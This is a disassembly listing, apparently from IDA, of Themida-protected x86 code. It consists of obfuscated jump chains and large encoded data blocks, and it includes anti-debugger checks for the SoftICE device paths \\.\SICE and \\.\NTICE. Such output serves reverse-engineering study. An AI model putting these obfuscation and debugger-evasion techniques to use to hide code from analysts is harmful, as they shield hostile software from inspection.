dd 0FF5639E9h, 31D5F7FFh, 0E9CD31E9h, 0FFFF26A3h, 4EC81h
dd 1C890000h, 2474FF24h, 88F2E904h, 0E981FFFFh, 69DE594Ah
dd 0E9241C8Bh, 0FFFF0762h, 0EE81C601h, 58AB16D8h, 0BB85055h
dd 0C1418440h, 13E903E8h, 81FFFF67h, 4C4h, 1C8B5A00h, 5DE8E924h
dd 0C181FFFFh, 225F0DA1h, 0FEFA0DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564F75: ; CODE XREF: Themida_:005605CDj
add ebp, 2D6E6AFEh
sub ebp, 3EE4AC55h
jmp loc_55DD89
; ---------------------------------------------------------------------------
dw 0C781h
dd 4, 8904EC83h, 4BA2414h, 0E9000000h, 0FFFF4CECh
; ---------------------------------------------------------------------------
loc_564F9C: ; CODE XREF: Themida_:0055FCC6j
xchg edi, [esp]
jmp loc_554782
; ---------------------------------------------------------------------------
loc_564FA4: ; CODE XREF: Themida_:005565D3j
add ebp, 0D7842C1h
not ebp
and ebp, 2DAD0480h
inc ebp
sub esp, 4
mov [esp], eax
mov eax, 79CA6EBAh
jmp loc_554207
; ---------------------------------------------------------------------------
dw 0E781h
dd 1EBA6FA7h, 2D64C781h, 0FE89370Ch, 7E6C15Fh, 6987EE81h
dd 0B850032Fh, 0F24652F9h, 8958C631h, 9BE95EF0h, 0D1FFFF80h
dd 3E0C1E8h, 316D082Dh, 12D16h, 0E0C10000h, 0DC07E904h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565006: ; CODE XREF: Themida_:00556030j
pop esp
pop dword ptr [esp]
pop esp
and [esp], eax
pushf
jmp loc_54FF17
; ---------------------------------------------------------------------------
loc_565014: ; CODE XREF: Themida_:00555974j
pop esp
push 1CDDh
mov [esp], edi
add dword ptr [esp], 0A7B3CB1h
jmp loc_555CBF
; ---------------------------------------------------------------------------
db 81h, 0C3h, 0F0h
dd 8B1EBC3Eh, 0C481243Ch, 4, 279E68h, 0B7C8E900h, 2C89FFFEh
dd 84BD24h, 0DDF73F90h, 8101C583h, 8A6FA0EDh, 0D2EFE940h
dd 0E953FFFFh, 0FFFFB7DBh
; ---------------------------------------------------------------------------
loc_565060: ; CODE XREF: Themida_:0055BEC7j
sub edi, 935369B3h
mov edx, edi
mov edi, [esp]
add esp, 4
dec edx
not edx
neg edx
add edx, 38E8E462h
sub esp, 4
jmp loc_55824F
; ---------------------------------------------------------------------------
loc_565087: ; CODE XREF: Themida_:005530AEj
pop esp
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
jmp loc_55148A
; ---------------------------------------------------------------------------
db 50h, 0E9h, 8Fh
dd 0F7FFFF11h, 36F681DEh, 1E22093h, 4335EF0h, 24043124h
dd 0E9240433h, 19Dh, 6FE9E089h, 0FFFECDh, 24148BF0h, 815B5453h
dd 4C3h, 4C38300h, 31241C33h, 1C33241Ch, 68665C24h, 89665AA3h
dd 7368241Ch, 89000072h, 0D0E9240Ch
db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5650EB: ; CODE XREF: Themida_:0055C16Cj
add eax, edx
mov edx, [esp]
add esp, 4
xchg eax, [esp]
pop esp
push edx
sub esp, 4
mov [esp], esp
push edx
jmp loc_552125
; ---------------------------------------------------------------------------
loc_565107: ; CODE XREF: Themida_:0055AE2Fj
not edx
inc edx
add edx, 1FC765D1h
xchg eax, edx
jmp loc_559DCF
; ---------------------------------------------------------------------------
dw 0E1B9h
dd 29194150h, 240C8BC8h, 0E904C483h, 0FFFF5497h, 24348151h
dd 6C9B30DBh, 0DBF2815Ah, 8B6C9B30h, 4FE9240Ch, 81FFFF71h
dd 4F605AEDh, 1C6F095Dh, 0ADC9E95Dh, 0ED80FFFEh, 0F3E95B0Ch
db 0CBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565157: ; CODE XREF: Themida_:00554747j
xchg eax, [esp]
push eax
not dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
push dword ptr [esp+4]
pop eax
jmp loc_563396
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 55EF6800h, 34890000h, 8E8EE924h, 868FFFFh, 8900007Bh
dd 0E2892414h, 46851h, 0E9590000h, 0FFFFB93Eh, 68241C89h
dd 2B3h, 68243489h, 122B50B4h, 0E924348Bh, 0FFFF8F8Eh
dd 0F617EA80h, 0BA3DE9DAh, 6657FFFFh, 662270BFh, 34FFF889h
dd 1AE95F24h, 57FFFF50h, 7075A9BFh, 0A580BA48h, 0FA011219h
dd 0FF1CF5E9h, 53E95BFFh, 8BFFFF77h, 0C483241Ch, 74FF5204h
dd 8F5A0424h, 895C2404h, 93E9240Ch, 81FFFFC0h, 0A511FCEBh
dd 0E9DBF763h, 0FFFF9355h, 592434FFh, 4C481h, 55560000h
dd 56580568h, 0DDF75D79h, 0ABE5814Dh, 810EBA6Bh, 0ADF25DC5h
dd 5DEE89FDh, 17E9F029h
db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565233: ; CODE XREF: Themida_:0055D8CAj
mov [esp], esp
jmp loc_5587EB
; ---------------------------------------------------------------------------
db 68h
dd 4, 0FF9367E9h, 9DEA81FFh, 5F6D867Ch, 0FFA791E9h, 24248BFFh
dd 0F5BA5257h, 686E8A19h, 6A1h, 0B9240C89h, 0A0F9F6DEh
dd 0FF1AC3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56526D: ; CODE XREF: Themida_:00561575j
mov ecx, ebx
pop ebx
push edx
mov edx, 0
jmp loc_550B92
; ---------------------------------------------------------------------------
loc_56527B: ; CODE XREF: Themida_:00556981j
add edx, 4
sub edx, 4
jmp loc_563E31
; ---------------------------------------------------------------------------
loc_565289: ; CODE XREF: Themida_:0055E9D7j
push ebx
mov ebx, 0
sub ebx, ebp
mov ebp, ebx
pop ebx
push esi
mov esi, 4CED116Ch
xor esi, 406674C1h
sub esi, 581D63BBh
add esi, 0A3A4267Bh
and ebp, esi
pop esi
and ebp, 661D7375h
or ebp, 2B811850h
sub ebp, 2B913870h
jmp loc_55475E
; ---------------------------------------------------------------------------
dw 0C681h
dd 4, 8704EE83h, 895C2434h, 0BD55243Ch, 347176EDh, 1A1EA0BFh
dd 5DEF310Ch, 4271E981h, 0F9012ABAh, 4271BB53h, 0E7E92ABAh
dd 81FFFEC6h, 90276AC5h, 6EC5817Ah, 299EB8C0h, 0C3815DEBh
dd 0E2AEFF22h, 315BD801h, 0E3C158C3h, 1E29E907h, 0E95DFFFFh
dd 0FFFF9B47h
; ---------------------------------------------------------------------------
loc_565320: ; CODE XREF: Themida_:00564BE3j
push dword ptr [esp]
jmp loc_554AEA
; ---------------------------------------------------------------------------
dd 0C781C701h, 612307Bh, 4EF8358h, 5C243C87h, 0E9242C89h
dd 0FFFEE820h, 559DC781h, 0F70115DDh, 559DEF81h, 34FF15DDh
dd 5632E924h, 148BFFFFh, 395DE924h, 0D701FFFFh, 4AEF815Ah
dd 0FF335B55h, 835A2434h, 0EA8104C4h, 3ACE2813h, 0CFE9FA29h
dd 89FFFFCCh, 74FF2414h, 148B0424h, 4C48124h, 8F000000h
dd 895C2404h, 8951243Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h
dd 240C895Ch, 0FF0762E9h, 81E389FFh, 4C3h, 4EB8100h, 87000000h
dd 0BFE9241Ch
db 13h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5653C3: ; CODE XREF: Themida_:0054FF1Bj
mov ecx, esp
push edi
mov edi, 4
add ecx, edi
pop edi
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
push ecx
push ebx
push edx
mov dl, 28h
jmp loc_555270
; ---------------------------------------------------------------------------
loc_5653E5: ; CODE XREF: Themida_:00558EE9j
dec eax
xor eax, 7545C323h
add ecx, eax
pop eax
push edi
mov edi, 6A6D6B6Ah
sub ecx, edi
pop edi
push edi
jmp loc_55B189
; ---------------------------------------------------------------------------
byte_5653FD db 0ADh, 2Dh, 0D1h ; DATA XREF: Themida_:0054FD18o
dd 530AF64Ah, 1C70EFBBh, 8BD82908h, 0C481241Ch, 4, 0FFD691E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565419: ; CODE XREF: Themida_:00560413j
xchg edi, [esp]
mov esp, [esp]
mov [esp], edx
mov edx, 0ED77A3A0h
sub eax, 5CD504FAh
sub eax, edx
add eax, 5CD504FAh
mov edx, [esp]
add esp, 4
and ebp, eax
pop eax
xor ebp, 94B40B8h
jmp loc_551070
; ---------------------------------------------------------------------------
loc_565447: ; CODE XREF: Themida_:005539B7j
add cl, 0A5h
sub bl, cl
mov cx, [esp]
add esp, 2
push 21E8h
mov [esp], ebx
push 28D8h
mov [esp], ecx
sub esp, 4
jmp loc_56176B
; ---------------------------------------------------------------------------
db 88h, 0DEh, 0E9h
dd 0FFFF8F10h, 5EE9D821h, 57FFFFFDh, 42685156h, 0E9375E48h
dd 0FFFFC09Ch, 4D91BE56h, 0CEE95F5Ch, 5DFFFF4Ch, 2289BB53h
dd 0E9577407h, 0FFFF9332h, 0C181C129h, 577B49A6h, 8904EC83h
dd 0BD552404h, 71026449h, 0FFD557E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5654BD: ; CODE XREF: Themida_:005582B1j
xor ebp, eax
mov eax, [esp]
jmp loc_550883
; ---------------------------------------------------------------------------
db 50h
dd 3F32CAB8h, 836DE945h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5654D2: ; CODE XREF: Themida_:005564A7j
push esi
mov esi, 4
jmp loc_560170
; ---------------------------------------------------------------------------
loc_5654DD: ; CODE XREF: Themida_:0055021Ej
not eax
xchg eax, esi
sub esp, 4
mov [esp], edi
mov edi, 1
jmp loc_55558A
; ---------------------------------------------------------------------------
db 87h
dd 505C2404h, 4B8h, 58C10100h, 0F9B5E950h, 34FFFFFEh, 0C4835F24h
dd 0FEBB5304h, 0E976B402h, 0FFFF5F8Dh, 8A68F9F7h, 89000038h
dd 0DCE92414h, 87FFFFA9h, 0AAE9243Ch, 31FFFF16h, 240C8BC8h
dd 4C481h, 0A9680000h, 8900000Fh, 8C68243Ch, 89000051h
dd 1268240Ch, 8B54959Eh, 7EE9240Ch, 53FFFEB0h, 0B7E93FB3h
dd 58FFFF21h, 8151D5F7h, 4ECh, 24148900h, 0DFFBFDBAh, 0AF96E9E6h
db 2 dup(0FFh)
word_565576 dw 8B66h ; DATA XREF: Themida_:0054FDACo
dd 0EC812404h, 4, 0E9243C89h, 0FFFEB227h, 88C9B353h, 503AE9DAh
dd 0E6C1FFFFh, 0A8BA5202h, 18223BAh, 0E825E9D6h, 0EB81FFFFh
dd 7D653424h, 867EC381h, 26E9B137h, 89FFFF5Dh, 0A6DAE9E0h
dd 0BA52FFFFh, 2E441B18h, 58DECA81h, 0D2F728E0h, 0FF0128E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5655CD: ; CODE XREF: Themida_:0055215Ej
xor edi, 62FB517Fh
push 56D7h
mov [esp], edi
jmp loc_55CB1A
; ---------------------------------------------------------------------------
loc_5655E0: ; CODE XREF: Themida_:0055360Bj
mov esp, [esp]
mov [esp], ax
jmp loc_54FF17
; ---------------------------------------------------------------------------
dd 0B5BD6655h, 0ED836615h, 0D5F766FFh, 0FFC271E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5655FD: ; CODE XREF: Themida_:005436F4j
jmp short loc_565635
; ---------------------------------------------------------------------------
aUser32_dll_0 db 'USER32.dll',0
aAdvapi32_dll_0 db 'ADVAPI32.dll',0
aNtdll_dll_0 db 'NTDLL.dll',0
db '×',7,9,0
db 5, 0, 7
dd 2000200h, 0C002A00h, 0A47A3C03h
db 72h
; ---------------------------------------------------------------------------
loc_565635: ; CODE XREF: Themida_:loc_5655FDj
jmp loc_565ED3
; ---------------------------------------------------------------------------
dw 0DD68h
dd 0E906059Ah, 0FFFDE395h, 59B8268h, 0E38BE906h, 0A168FFFDh
dd 0E906059Ch, 0FFFDE381h, 59DAD68h, 0E377E906h, 0D68FFFDh
dd 0E906059Eh, 0FFFDE36Dh, 59EFA68h, 0E363E906h, 6668FFFDh
dd 0E906059Fh, 0FFFDE359h, 3E525326h, 0A321CAABh, 0DDB338DEh
dd 4D03A448h, 0FE9217F8h, 0FC9DC974h, 6C0C91F7h, 0E2B0054Bh
dd 4F268BD9h, 1F9B3AAEh, 956920Bh, 585EEE71h, 57118A9Eh
dd 0F86F7109h, 56F16ABEh, 984F7109h, 25EEA71Ch, 5B3CE2ADh
dd 0C4533656h, 9C89EAAh, 59467512h, 5E586BCh, 3DC256D4h
dd 0C4533EABh, 0D6999FA9h, 36F0C7B5h, 35B57912h, 0C0E98B97h
dd 17C2DD88h, 9F159E70h, 2B476510h, 2AD28768h, 0BE2BBD42h
dd 6D257A19h, 651FD997h, 35124CC5h, 4F25B097h, 3820097Fh
dd 38500795h, 0C8E6048Fh, 149D7F0Eh, 0B39B1174h, 9B374C7Bh
dd 0B55816C5h, 505525E2h, 3BD8ADC5h, 35B3D6B6h, 7C29CC51h
dd 1673159Eh, 362BE88Bh, 16F6390Ah, 6BCFBh, 8324F700h
dd 169B78CDh, 0E009EF72h, 707519ECh, 0C3E8891Ch, 0A2F8278Dh
dd 0DDA024CDh, 41D4B83Dh, 0F75A0EB3h, 0A8C99F20h, 56C15AEEh
dd 8D3F7109h, 0A2432AEEh, 0CC565304h, 20088B3Fh, 0B8722444h
dd 69A348D5h, 770EEDF0h, 9423994Ch, 9BAFCBE9h, 750C7577h
dd 1FE92F1h, 4B1E4E73h, 0B45911FCh, 2B65C3E4h, 48E0B85Ah
dd 710956CFh, 29688D61h, 0A530B95Ah, 520C8ADEh, 9565DF6h
dd 5134A371h, 3BAE3EC3h, 0A14A28BDh, 0A5906409h, 0B4931116h
dd 48D732h, 329FEF45h, 501B5A5Bh, 2DE0D60Dh, 617805Dh
dd 0C9A80000h, 40DDA024h, 0AE40D5BBh, 1AF24705h, 8D62F795h
dd 53826064h, 1B497207h, 8FDDE2B6h, 3D53583Ah, 0AC20C5A8h
dd 1CB59515h, 60710956h, 432A13D0h, 0B0472AA2h, 192730Fh
dd 0FE456E00h, 0EA6FBEEh, 0F0A79B7Ch, 850068C4h, 4F554397h
dd 8996C62h, 46h, 0A2432AABh, 0F26FB52Eh, 2770EF0h, 69064A6Bh
dd 7E6801Eh, 0B4F24E6Fh, 11DF7C94h, 5B17C275h, 0A7E4FEA1h
dd 348B7305h, 0A247D5B8h, 30B95B2Eh, 58B8558h, 43FD0000h
dd 0B706EE7h, 0F1F69E71h, 4D3F297h, 6C012BA8h, 0CC4EAE89h
dd 0D2E9992Bh, 0E4400547h, 0B1C9EE81h, 48E32BEEh, 2571B0Ch
dd 2EC5466Ch, 93FB71B2h, 6F0BA9D4h, 47FC95B5h, 327770Eh
dd 770E478Ah, 0B52063F6h, 1BA9813Fh, 99751162h, 640B9EF2h
dd 17620D43h, 6D27E199h, 0B6C44DDh, 2AFEB871h, 710B6CB1h
dd 77CD580Fh, 8F43057h, 5D3D906Fh, 0CE553058h, 423FDDB0h
dd 4507ACh, 0B042D7B5h, 19FC410Bh, 0DFE4DD94h, 15F5E6D5h
dd 4F8F8h, 0C7E88B00h, 5A5F3C81h, 24CDA336h, 0B439DDA0h
dd 7AC4DD0h, 6634E341h, 91646891h, 5E8FC01h, 8B1E7277h
dd 0F48DC3E4h, 54FD96B2h, 0B1437109h, 0A2432A32h, 0FB0472Ah
dd 9E23F05Dh, 919263CEh, 7913FE03h, 0EFF90294h, 0EF3371FAh
dd 0C81C00AFh, 0EEFF0F3h, 0FC143677h, 6D834A75h, 0D4889D86h
dd 7C1F996Ch, 356D6104h, 0D8C2BE46h, 0FFFFFECEh, 0A2432A5Bh
dd 96B26C2Ah, 770EF0FDh, 0AF189443h, 80A8C6E4h, 7511F016h
dd 74335104h, 7BCFEB09h, 6F0EFA4Dh, 0A44C1CCBh, 770ED126h
dd 791438E4h, 0E9E30494h, 0E64D7604h, 2F23390Ah, 47DC996Dh
dd 5F000001h, 0E2AD25EEh, 0C89EAAC4h, 46751209h, 0D1DD793h
dd 710BC194h, 0CA877DE8h, 0B5CE7C62h, 43612CC7h, 0CAAD0327h
dd 39CC9538h, 5035575Ch, 7E6EFDD4h, 6A03E49h, 0D2D7B94Ch
dd 0F93E7656h, 0D5809B37h, 812AC89Dh, 0F5986D2Bh, 66099CF0h
dd 0DA8B2E41h, 0BE4E390Ah, 3ECA3h, 0F3F48700h, 466B089Dh
dd 0D0D9BF02h, 0A04529BCh, 33B8592Ch, 7228D75Dh, 0ED70149Dh
dd 11E4E80Dh, 876A7E83h, 0F899CFF0h, 53F16ABEh, 0BD4F7109h
dd 6785F03Eh, 19FC914Bh, 0D54EDA94h, 2B770EF0h, 0CCE8C0BCh
dd 6A750C77h, 5022C3FFh, 0C25025ABh, 2BC2AF39h, 5BC2EB8Ah
dd 4F1FE0D6h, 38C92h, 53542700h, 26CBA83Dh, 0B039DFA2h
dd 0A549DCh, 9318F94Ch, 92C877FDh, 0D90F4FDh, 0B104486Dh
dd 278ADEE3h, 9839AF50h, 52910A1Eh, 5DEF7109h, 0A2432A9Eh
dd 0DCB0472Ah, 0EF0D34Ch, 97682977h, 12F1E879h, 3D2C4DD8h
dd 4FBD463Bh, 8C6119E4h, 68C4E9h, 20439785h, 0AC08AD4Dh
dd 0E3F999Ch, 0D4872377h, 0ADA7CDCEh, 89BA361Dh, 996C5B74h
dd 0FFFD5D6Fh, 432A88FFh, 0F29D2AA2h, 62D8013Eh, 60CFF9ECh
dd 0C8A8E246h, 0C3967511h, 18EED68Dh, 0B1C9E792h, 878416F7h
dd 8460CFF0h, 1208EEA4h, 8239AC75h, 0CB2113C4h, 83D4DDB2h
dd 68C410A7h, 0F9F1AD40h, 0D4D2BDD8h, 5F388E9Ah, 0A336C6FDh
dd 0F5F39E29h, 8D556DBDh, 0F98CCCFAh, 90F5971Ch, 10AE3D14h
dd 88DF9A7Dh, 0C3B1E956h, 5439AF3Ah, 12853CC1h, 0BF48C775h
dd 29F322Fh, 41D00000h, 0B84528BCh, 26C85D33h, 927ACF9Dh
dd 5EA7F6Dh, 0DB1AE8FCh, 83C1EA8Fh, 37555A3Eh, 0A52BD0A2h
dd 0D4B83DD0h, 0A43D0D8Dh, 18710952h, 85F08B68h, 58F259ADh
dd 0BB0601DBh, 7C092BFFh, 30A7750Bh, 6302BC76h, 0A53E6E8Fh
dd 1B71098Bh, 0FF9DF04Ch, 4B29BCFAh, 0D3A6CAA6h, 4DD0B841h
dd 6D6A05AAh, 0ACE0D6A7h, 23301DCh, 0AD4C0000h, 24F14408h
dd 9264C99Fh, 0FE967B69h, 7106EBF9h, 6FAE0448h, 3FAD563Bh
dd 0A321C6AAh, 0D1B73CDEh, 4004A94Ch, 38D17931h, 84710951h
dd 85F077F4h, 0BDFF4B67h, 73750C77h, 543BCAE4h, 0B6264B99h
dd 6EEA3199h, 7038592Fh, 38AC3B68h, 102D058Fh, 0BD599193h
dd 21DB9762h, 0AA06AB4Ch, 99B0382h, 0FEEE7D71h, 13757E13h
dd 0C65FEBA5h, 3A71099Ah, 3C76D1AFh, 0BA9CD182h, 392396F5h
dd 9D976EFh, 0A11FCA71h, 0E8862BCCh, 37B85F2Eh, 9D97C15h
dd 9F15C071h, 0DAB84DCBh, 0A2EC5BD1h, 43C46402h, 0B97109D9h
dd 69FCBAD2h, 0E3866287h, 0D6E1EB0Ch, 0B86509DCh, 2DB8D0D5h
dd 0E5430646h, 84C8ED80h, 21595E31h, 0A804A94Ch, 0DA8AB9C0h
dd 18A17734h, 0DE8E1570h, 73159E73h, 0A9E93D01h, 0EBA3F72Bh
dd 14C7E304h, 49B690Ah, 0A5C9A7FEh, 0D0B83DD0h, 74D4AC4Dh
dd 7109CBDBh, 0BD2FBA21h, 0DCB94CEEh, 316559D7h, 17B09852h
dd 657109CCh, 80177AF6h, 921F387h, 7109CB90h, 0FA9279ECh
dd 961BF8EFh, 400493F6h, 0F5971CFDh, 2CE09FACh, 28D1A6F8h
dd 0E840FAA4h, 7109CB6Fh, 0EF14E6CDh, 30C1A400h, 8457C18Bh
dd 6F0D63B6h, 5AD1354Ah, 9EBFE7Ah, 0C1E3E8E0h, 8F34C59Dh
dd 1CA174D9h, 7C6DA44Ch, 4179E95Ch, 3EDCC9ACh, 2BBE2EB5h
dd 6D25694Dh, 0B967658Ah, 29A344D4h, 0CAADC0BCh, 39DEA325h
dd 51AF307Ah, 47D2A789h, 3937682Bh, 54687348h, 0C69B0470h
dd 4A265FFFh, 91C57B22h, 0A74936D9h, 0B01F4A02h, 0F18362DCh
dd 76196CC8h, 25501771h, 0D15FEB87h, 4FB69BBFh, 0D0BBF498h
dd 62B494D2h, 0D8BC9717h, 23DD5B0Dh, 9DF88E07h, 0D1D6BEB8h
dd 0F88D6BFEh, 618A6815h, 8C63F69Ah, 95E91CA1h, 4201F37Eh
dd 2FB904ADh, 3F6D1607h, 9ACE6264h, 0C4882DC0h, 4F199E71h
dd 0E3E50AE2h, 691DBEF8h, 0C1DAC89Eh, 63B78B61h, 6A8F6D00h
dd 9314FB8Eh, 0A18943FDh, 0AC3DB528h, 66BC194h, 0C31E4E6Fh
dd 0Dh, 886C0172h, 6D606567h, 0D08C688Dh, 0A6472AD3h, 33B45B26h
dd 9D26F459h, 6D9266CBh, 0F801967Bh, 476C0D90h, 0D3D4B805h
dd 0B942D4B9h, 8B1422Fh, 89570B40h, 4C781E7h, 81000000h
dd 4EFh, 243C8700h, 242C895Ch, 81E38953h, 4C3h, 4EB8300h
dd 5C241C87h, 53243C89h, 0C381E389h, 4, 4EB81h, 1C870000h
dd 0C895C24h, 4EC8124h, 89000000h, 0CBE2434h, 8906059Ah
dd 8B545EF7h, 0C481240Ch, 4, 0F3B95157h, 31594068h, 5904244Ch
dd 8108418Fh, 68F30871h, 0C8B5940h, 0E0895024h, 405h, 40500h
dd 4870000h, 3C8B5C24h, 0E3895324h, 4C381h, 0C3810000h
dd 4, 5C241C87h, 0FDDB08E9h
db 0FFh, 6Fh, 0F3h
; ---------------------------------------------------------------------------
loc_565ED3: ; CODE XREF: Themida_:loc_565635j
mov eax, 605A1BEh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 3B4ADA7Ch, 346C765Bh, 7763AFC5h, 2792F47h, 792F1AB4h
dd 12925B8Eh, 2452DCFFh, 779B588Eh, 21E2B390h, 1EC18069h
dd 542AD602h, 21518E71h, 1856B35Fh, 2EA87F89h, 4EFB4074h
dd 66857560h, 779FD48Dh, 27A05898h, 4B90C3C2h, 7EAD003Fh
dd 62B47AECh, 27C7A1DCh, 7E8h, 0E09FA300h, 33A64BD1h, 33DBBA66h
dd 0CFBE665Bh, 2DC381C0h, 0B8000066h, 194Eh, 58E0Fh, 3BBF0000h
dd 8B7A8CBDh, 9E90Bh, 0BC830000h, 0D99C61F7h, 81A42B3Ah
dd 0B3631CF1h, 6E85610h, 0DF000000h, 0DEBD25B7h, 29BE6607h
dd 815E5F90h, 3A0C01C1h, 0EE861h, 0F8C30000h, 93C3DACFh
dd 1C7A9B34h, 5A914859h, 0F4C68166h, 0F1815EBBh, 52E122BEh
dd 840Fh, 52510000h, 2ED78166h, 38F5F47h, 4EB83F8h, 5E8h
dd 6CD95600h, 62BECEE4h, 5A5CB961h, 2D850F48h, 0E8000000h
dd 0Fh, 66570D50h, 0FD1ACF38h, 0EB33186h, 0FC1589CEh, 40E95Ah
dd 69F80000h, 440961FAh, 0B9DED757h, 0CDD37257h, 0BF63E172h
dd 13E9h, 5E6A0F00h, 0D943000h, 296676D3h, 0B944CB10h
dd 28F4F0CDh, 0FFFF3EE9h, 0EDAE7EFFh, 0CED2D7ABh, 4A71A765h
dd 0F0C809DDh, 73E97039h, 60000000h, 2AADBD83h, 0F000603h
dd 584h, 5EE900h, 6A0000h, 0F303E80h, 885h, 46006A00h
dd 35E9h, 333E8000h, 8850Fh, 106A0000h, 24E946h, 3E800000h
dd 8850F34h, 6A000000h, 13E94630h, 80000000h, 850F353Eh
dd 8, 0E946406Ah, 2, 858D006Ah, 6031DA5h, 24048950h, 24348950h
dd 95FF006Ah, 6031AE1h, 85C6C361h, 6032F39h, 0B2D9684Dh
dd 48139C6h, 6EC3CF24h, 11B5FF6Ah, 8D06032Dh, 338A785h
dd 89D0FF06h, 31AE185h, 5C1EEB06h, 535C2E5Ch, 454349h
dd 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h
dd 81C08B00h, 4A08B7EEh, 0F9BD8B1Bh, 83060313h, 31039BDh
dd 9750006h, 111DBD83h, 74000603h, 8B535019h, 40FB8C0h
dd 85890000h, 6031775h, 0B0919D8Dh, 0D3FF0605h, 0BD83585Bh
dd 603111Dh, 50177400h, 40FB853h, 85890000h, 6031775h
dd 0AD809D8Dh, 0D3FF0605h, 6A585Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 7479EC3h
dd 66869841h, 31FDB529h, 6A0603h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 0F59767C3h, 6AC08Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 453C52C3h, 0C6F1CD20h, 32F3985h, 13E84306h, 2A000000h
dd 7AD72360h, 0C67210h, 4BA89688h, 1C72A6Fh, 1605637h
dd 32DED9Dh, 1DB52306h, 61060326h, 0CB7C685Fh, 810F9A20h
dd 3, 81F38B66h, 0A5802434h, 6A26AEh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 1AF60C3h
dd 0B2BE3F4Fh, 8B5DA9DBh, 31FE595h, 59B5FF06h, 80060313h
dd 0DA8032DEh, 0A7858D29h, 89060338h, 303B58Dh, 8BD0FF06h
dd 25BA90F2h, 5074154Bh, 0A0092BBAh, 9FB99005h, 8955AFCEh
dd 32D819Dh, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 6153C356h, 0A368C920h
dd 666ECB97h, 812820BFh, 97232434h, 6A6ECBh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 66798CC3h
dd 0B65FF281h, 7E9036Ah, 0C2000000h, 4E341821h, 6AB6E0h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 51C35141h
dd 1BCA01B0h, 65BD0172h, 8A060324h, 0B2036AD0h, 52776806h
dd 52509E94h, 188D0Fh, 12E80000h, 0B7000000h, 155DE943h
dd 0F8087BB5h, 0A1D575Ah, 9D78C379h, 310F5E86h, 0B10F74BEh
dd 81585A64h, 0AD892404h, 0B589216Bh, 6031D11h, 0A45F9D8Dh
dd 0BF660605h, 8A50A587h, 241C89F3h, 816645B6h, 0FFC1D5F2h
dd 850F40D0h, 29Bh, 0A5A0E1B9h, 0FC535840h, 0F525059h
dd 48Dh, 5FBA6600h, 489596Fh, 53006A24h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 6AA7BD84h
dd 35958B00h, 68060306h, 2A0762F5h, 13E9h, 0B1E38500h
dd 602B8637h, 6A591EDAh, 6206DA78h, 0E68EFD52h, 75243481h
dd 8B2A0762h, 31955B5h, 6A036A06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 7BF7C355h
dd 2D8509C2h, 8B060317h, 310A9BDh, 0F9858906h, 6A060330h
dd 5870F00h, 66000000h, 0E04AF281h, 8166036Ah, 0E82A23DFh
dd 4, 0C0000000h, 8B50FE8Bh, 57042444h, 8B5AF6B6h, 0C83CBA00h
dd 44895AADh, 0F48A0424h, 41BD8958h, 8D060320h, 5A4689Dh
dd 38F58006h, 0BE505193h, 265837FAh, 50505F59h, 0FE95152h
dd 0A3000000h, 0AB210767h, 6B377C6Bh, 2A381B88h, 0F5FA4FAh
dd 4810F31h, 66000000h, 5A06ECBAh, 66539358h, 0FF59FB8Bh
dd 0D8589D0h, 0E806030Ah, 10h, 4993E6B2h, 8377A5CFh, 0A451E581h
dd 8FBAF7Ah, 97D9531h, 40590603h, 159850Fh, 9D890000h
dd 6031339h, 4ADE8158h, 90274E5Dh, 0D74CBE50h, 819005FCh
dd 0FFCFECF1h, 6A006A2Ch, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 6E92C351h, 0E917F742h
dd 12h, 40991D34h, 0FEC604Dh, 6EA7ECD8h, 0F33C607Dh, 89688E80h
dd 0E8049D10h, 0Ch, 33810964h, 0EABA0008h, 0D5CA83AAh
dd 13E9h, 0B6C61000h, 0F5AF94DAh, 0EC68F275h, 4D63CF57h
dd 0DC9C0ED1h, 2434815Eh, 49D1009h, 2830Fh, 0B8B10000h
dd 8589036Ah, 6031F1Dh, 8589006Ah, 603109Dh, 0DE9036Ah
dd 5E000000h, 719E64C6h, 8D9EA03h, 8DDE43F6h, 0B9EB3C68h
dd 3ABA66F1h, 2434813Ch, 31B9EB3Ch, 10FDB533h, 9D8D0603h
dd 605A473h, 0F0D98166h, 810F5004h, 8, 5E565250h, 585A310Fh
dd 6A241C89h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 0B06BC357h, 8D8B801Bh, 6032379h
dd 8166D0FFh, 40E300F7h, 3D850Fh, 8B660000h, 0B19D29CBh
dd 58060321h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0B0C35141h, 0E3CFD71Eh, 0BD29CD83h, 6032CA9h, 140E9h
dd 41958B00h, 8B060325h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh
